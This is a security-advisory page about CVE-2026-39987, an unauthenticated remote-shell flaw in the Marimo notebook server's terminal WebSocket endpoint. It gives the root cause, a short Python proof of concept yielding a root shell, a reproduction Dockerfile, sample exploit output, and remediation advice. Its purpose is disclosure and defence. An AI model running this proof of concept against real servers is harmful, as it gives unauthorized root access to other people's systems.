Skip to main content

Docker CVE-2026-39987

| EUVDEUVD-2026-20980 CRITICAL
Missing Authentication for Critical Function (CWE-306)
2026-04-08 https://github.com/marimo-team/marimo GHSA-2679-6mx9-h9xc
9.3
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Re-analysis Queued
Apr 23, 2026 - 18:42 vuln.today
cvss_changed
Added to CISA KEV
Apr 23, 2026 - 17:46 CISA
EUVD ID Assigned
Apr 09, 2026 - 14:45 euvd
EUVD-2026-20980
Analysis Generated
Apr 09, 2026 - 14:45 vuln.today
Patch released
Apr 09, 2026 - 14:45 nvd
Patch available
CVE Published
Apr 08, 2026 - 21:50 nvd
CRITICAL 9.3

DescriptionGitHub Advisory

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
# No authentication check!
    await websocket.accept()
# Accepts connection directly
# ...
    child_pid, fd = pty.fork()
# Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
# Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

  1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
  2. websocket.accept() accepts the connection directly
  3. pty.fork() creates a PTY child process
  4. Full interactive shell with arbitrary command execution
  5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())
# uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

  1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
  2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
  3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

AnalysisAI

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the /terminal/ws WebSocket endpoint. The terminal handler skips authentication validation entirely, accepting connections without credential checks and spawning PTY shells directly. Attackers obtain full interactive shell access as root in default Docker deployments through a single WebSocket connection, bypassing Marimo's authentication middleware. No public exploit identified at time of analysis.

Technical ContextAI

The /terminal/ws WebSocket route in terminal.py lacks validate_auth() calls present in other endpoints like /ws. Starlette's AuthenticationMiddleware marks unauthenticated users but does not reject WebSocket connections without endpoint-level @requires() decorators or explicit validation. The handler immediately calls pty.fork() after verifying edit mode and platform support, spawning shell processes for unauthenticated clients.

RemediationAI

Vendor-released patch: Marimo 0.20.5 or later. Apply GitHub commit c24d4806398f30be6b12acd6c60d1d7c68cfd12a which adds WebSocketConnectionValidator.validate_auth() to the terminal endpoint, matching authentication enforcement in other WebSocket routes. Upgrade immediately via pip install --upgrade marimo. Workaround for unpatched systems: Disable terminal functionality by restricting edit mode access, implement network-level access controls to block unauthenticated WebSocket connections to port 2718, or run Marimo instances behind authenticated reverse proxies. Restrict container privileges and avoid root execution contexts. Official advisory and patch details: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc and https://github.com/marimo-team/marimo/pull/9098

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

CVE-2025-66570 CRITICAL POC
10.0 Dec 05

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allow

Share

CVE-2026-39987 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy